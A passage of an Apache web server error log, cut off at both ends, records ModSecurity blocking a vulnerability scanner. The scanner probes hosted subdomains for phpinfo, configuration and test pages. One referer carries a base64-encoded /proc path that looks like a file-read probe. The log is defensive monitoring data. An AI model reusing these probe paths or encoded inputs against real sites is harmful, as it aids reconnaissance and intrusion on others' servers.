"ai3xEMTA7b1mZrmcA-8VfQAAAlw"], referer: http://cpanel.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.508342 2026] [security2:error] [pid 531797:tid 532014] [client 91.92.42.86:22556] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.eoz.fiz.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VfgAAAiY"], referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.566128 2026] [security2:error] [pid 531797:tid 532049] [client 91.92.42.86:22566] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.eoz.fiz.mybluehost.me"] [uri "/server_info.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VhAAAAkc"], referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.582395 2026] [security2:error] [pid 531797:tid 532076] [client 91.92.42.86:22620] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.eoz.fiz.mybluehost.me"] [uri "/portal/phpinfo.php"] [unique_id "ai3xEMTA7b1mZrmcA-8ViwAAAmI"], referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.586888 2026] [security2:error] [pid 531155:tid 531407] [client 191.233.234.186:44786] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/ops.php"] [unique_id "ai3xECmiP80klyS0NnrtAgAAAYQ"] [Sat Jun 13 18:08:48.606459 2026] [security2:error] [pid 531797:tid 532093] [client 91.92.42.86:22638] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.eoz.fiz.mybluehost.me"] [uri "/test.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VjwAAAnI"], referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.613362 2026] [proxy:error] [pid 531155:tid 531372] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.613458 2026] [proxy_http:error] [pid 531155:tid 531372] [client 91.92.42.86:22650] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.615451 2026] [proxy:error] [pid 531155:tid 531372] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.615501 2026] [proxy_http:error] [pid 531155:tid 531372] [client 91.92.42.86:22650] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.639148 2026] [proxy:error] [pid 531797:tid 532124] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.640318 2026] [proxy_http:error] [pid 531797:tid 532124] [client 91.92.42.86:22660] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.641137 2026] [proxy:error] [pid 531797:tid 532124] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.641191 2026] [proxy_http:error] [pid 531797:tid 532124] [client 91.92.42.86:22660] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.643178 2026] [proxy:error] [pid 531797:tid 532013] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.643247 2026] [proxy_http:error] [pid 531797:tid 532013] [client 91.92.42.86:22672] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.644021 2026] [proxy:error] [pid 531797:tid 532013] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.644065 2026] [proxy_http:error] [pid 531797:tid 532013] [client 91.92.42.86:22672] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.648420 2026] [proxy:error] [pid 531797:tid 532089] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.648513 2026] [proxy_http:error] [pid 531797:tid 532089] [client 91.92.42.86:22688] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.649646 2026] [proxy:error] [pid 531797:tid 532089] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.649702 2026] [proxy_http:error] [pid 531797:tid 532089] [client 91.92.42.86:22688] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.655502 2026] [proxy:error] [pid 531797:tid 532089] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.655581 2026] [proxy_http:error] [pid 531797:tid 532089] [client 91.92.42.86:22702] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.656922 2026] [proxy:error] [pid 531797:tid 532089] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.656970 2026] [proxy_http:error] [pid 531797:tid 532089] [client 91.92.42.86:22702] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.664386 2026] [proxy:error] [pid 531797:tid 532110] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.664477 2026] [proxy_http:error] [pid 531797:tid 532110] [client 91.92.42.86:22710] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.666387 2026] [proxy:error] [pid 531797:tid 532110] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.666454 2026] [proxy_http:error] [pid 531797:tid 532110] [client 91.92.42.86:22710] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.678020 2026] [security2:error] [pid 531797:tid 532048] [client 91.92.42.86:22726] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.eoz.fiz.mybluehost.me"] [uri "/index.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VmQAAAkY"], referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.684244 2026] [security2:error] [pid 531797:tid 532097] [client 91.92.42.86:22728] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.eoz.fiz.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VmwAAAnY"], referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.684944 2026] [security2:error] [pid 531797:tid 532026] [client 91.92.42.86:22742] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.eoz.fiz.mybluehost.me"] [uri "/index.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VnAAAAjI"], referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.688050 2026] [security2:error] [pid 531797:tid 532023] [client 91.92.42.86:22780] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.eoz.fiz.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VnQAAAi8"], referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.689020 2026] [security2:error] [pid 531155:tid 531328] [client 91.92.42.86:22758] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.eoz.fiz.mybluehost.me"] [uri "/test.php"] [unique_id "ai3xECmiP80klyS0NnrtBgAAATU"], referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.697974 2026] [proxy:error] [pid 531155:tid 531361] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.698051 2026] [proxy_http:error] [pid 531155:tid 531361] [client 91.92.42.86:22798] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.698120 2026] [security2:error] [pid 531155:tid 531391] [client 91.92.42.86:22810] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.eoz.fiz.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai3xECmiP80klyS0NnrtCAAAAXQ"], referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.699279 2026] [proxy:error] [pid 531155:tid 531361] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.699317 2026] [proxy_http:error] [pid 531155:tid 531361] [client 91.92.42.86:22798] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.714084 2026] [security2:error] [pid 531797:tid 532001] [client 91.92.42.86:22824] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.eoz.fiz.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VnwAAAhk"], referer: http://webdisk.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.727420 2026] [proxy:error] [pid 531797:tid 532111] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.727498 2026] [proxy_http:error] [pid 531797:tid 532111] [client 91.92.42.86:22840] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.728364 2026] [proxy:error] [pid 531797:tid 532111] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.728403 2026] [proxy_http:error] [pid 531797:tid 532111] [client 91.92.42.86:22840] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.729415 2026] [proxy:error] [pid 531155:tid 531287] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.729500 2026] [proxy_http:error] [pid 531155:tid 531287] [client 91.92.42.86:22856] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.729615 2026] [security2:error] [pid 531155:tid 531341] [client 91.92.42.86:22852] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.eoz.fiz.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai3xECmiP80klyS0NnrtCwAAAUI"], referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.730002 2026] [proxy:error] [pid 531155:tid 531287] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.730031 2026] [proxy_http:error] [pid 531155:tid 531287] [client 91.92.42.86:22856] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.738573 2026] [access_compat:error] [pid 531797:tid 531865] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9wcm9jLzc0NDU1Ny9ucw== [Sat Jun 13 18:08:48.738868 2026] [access_compat:error] [pid 531797:tid 531865] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9wcm9jLzc0NDU1Ny9ucw== [Sat Jun 13 18:08:48.741702 2026] [security2:error] [pid 531797:tid 532051] [client 91.92.42.86:22874] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.eoz.fiz.mybluehost.me"] [uri "/functions.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VpQAAAkk"], referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.744047 2026] [proxy:error] [pid 531155:tid 531344] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.744120 2026] [proxy_http:error] [pid 531155:tid 531344] [client 91.92.42.86:22868] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.744905 2026] [proxy:error] [pid 531155:tid 531344] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.744944 2026] [proxy_http:error] [pid 531155:tid 531344] [client 91.92.42.86:22868] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.747178 2026] [security2:error] [pid 531797:tid 532039] [client 91.92.42.86:22886] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.eoz.fiz.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VpgAAAj4"], referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.751208 2026] [security2:error] [pid 531797:tid 532015] [client 91.92.42.86:22922] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.eoz.fiz.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VqAAAAic"], referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.751910 2026] [security2:error] [pid 531155:tid 531353] [client 91.92.42.86:22908] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.eoz.fiz.mybluehost.me"] [uri "/functions.php"] [unique_id "ai3xECmiP80klyS0NnrtEQAAAU4"], referer: http://webdisk.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.755253 2026] [security2:error] [pid 531797:tid 532104] [client 91.92.42.86:22932] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.eoz.fiz.mybluehost.me"] [uri "/server_info.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VqgAAAn0"], referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.755858 2026] [access_compat:error] [pid 531155:tid 531213] [remote 57.141.14.51:54312] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:48.756113 2026] [access_compat:error] [pid 531155:tid 531213] [remote 57.141.14.51:54312] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:48.757286 2026] [security2:error] [pid 531797:tid 532047] [client 91.92.42.86:22948] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.eoz.fiz.mybluehost.me"] [uri "/index.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VqwAAAkU"], referer: http://webdisk.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.769569 2026] [security2:error] [pid 531797:tid 532115] [client 91.92.42.86:22944] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.eoz.fiz.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VrAAAAog"], referer: http://webdisk.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.773943 2026] [proxy:error] [pid 531797:tid 532017] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.774008 2026] [proxy_http:error] [pid 531797:tid 532017] [client 91.92.42.86:22968] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.775473 2026] [proxy:error] [pid 531797:tid 532017] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.775519 2026] [proxy_http:error] [pid 531797:tid 532017] [client 91.92.42.86:22968] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.782953 2026] [security2:error] [pid 531797:tid 532102] [client 91.92.42.86:22984] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.eoz.fiz.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VrgAAAns"], referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.789891 2026] [proxy:error] [pid 531797:tid 532078] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.789965 2026] [proxy_http:error] [pid 531797:tid 532078] [client 91.92.42.86:22986] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.790601 2026] [proxy:error] [pid 531797:tid 532029] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.790704 2026] [proxy_http:error] [pid 531797:tid 532029] [client 91.92.42.86:23002] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.790756 2026] [proxy:error] [pid 531797:tid 532078] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.790791 2026] [proxy_http:error] [pid 531797:tid 532078] [client 91.92.42.86:22986] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.791627 2026] [proxy:error] [pid 531797:tid 532029] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.791689 2026] [proxy_http:error] [pid 531797:tid 532029] [client 91.92.42.86:23002] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.799145 2026] [security2:error] [pid 531797:tid 532053] [client 91.92.42.86:23012] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.eoz.fiz.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VsQAAAks"], referer: http://webmail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.806732 2026] [security2:error] [pid 531797:tid 532061] [client 191.234.188.123:64577] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/amxloxxr.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VswAAAlM"] [Sat Jun 13 18:08:48.813366 2026] [security2:error] [pid 531155:tid 531352] [client 91.92.42.86:23042] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.eoz.fiz.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai3xECmiP80klyS0NnrtEwAAAU0"], referer: http://webdisk.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.820201 2026] [proxy:error] [pid 531797:tid 532108] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.820276 2026] [proxy_http:error] [pid 531797:tid 532108] [client 91.92.42.86:23046] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.820960 2026] [proxy:error] [pid 531797:tid 532108] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:48.821000 2026] [proxy_http:error] [pid 531797:tid 532108] [client 91.92.42.86:23046] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.822363 2026] [security2:error] [pid 531155:tid 531366] [client 91.92.42.86:23052] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.eoz.fiz.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai3xECmiP80klyS0NnrtFQAAAVs"], referer: http://webdisk.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.858639 2026] [security2:error] [pid 531797:tid 532014] [client 91.92.42.86:23074] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.eoz.fiz.mybluehost.me"] [uri "/server_info.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VuwAAAiY"], referer: http://webdisk.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.868249 2026] [security2:error] [pid 531797:tid 532049] [client 91.92.42.86:23086] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.eoz.fiz.mybluehost.me"] [uri "/functions.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VvAAAAkc"], referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.871843 2026] [security2:error] [pid 531797:tid 532107] [client 91.92.42.86:22838] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.eoz.fiz.mybluehost.me"] [uri "/portal/phpinfo.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VvQAAAoA"], referer: http://webdisk.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.880772 2026] [security2:error] [pid 531797:tid 532007] [client 91.92.42.86:23114] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.eoz.fiz.mybluehost.me"] [uri "/portal/phpinfo.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VwAAAAh8"], referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.888200 2026] [security2:error] [pid 531797:tid 532087] [client 91.92.42.86:23130] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname 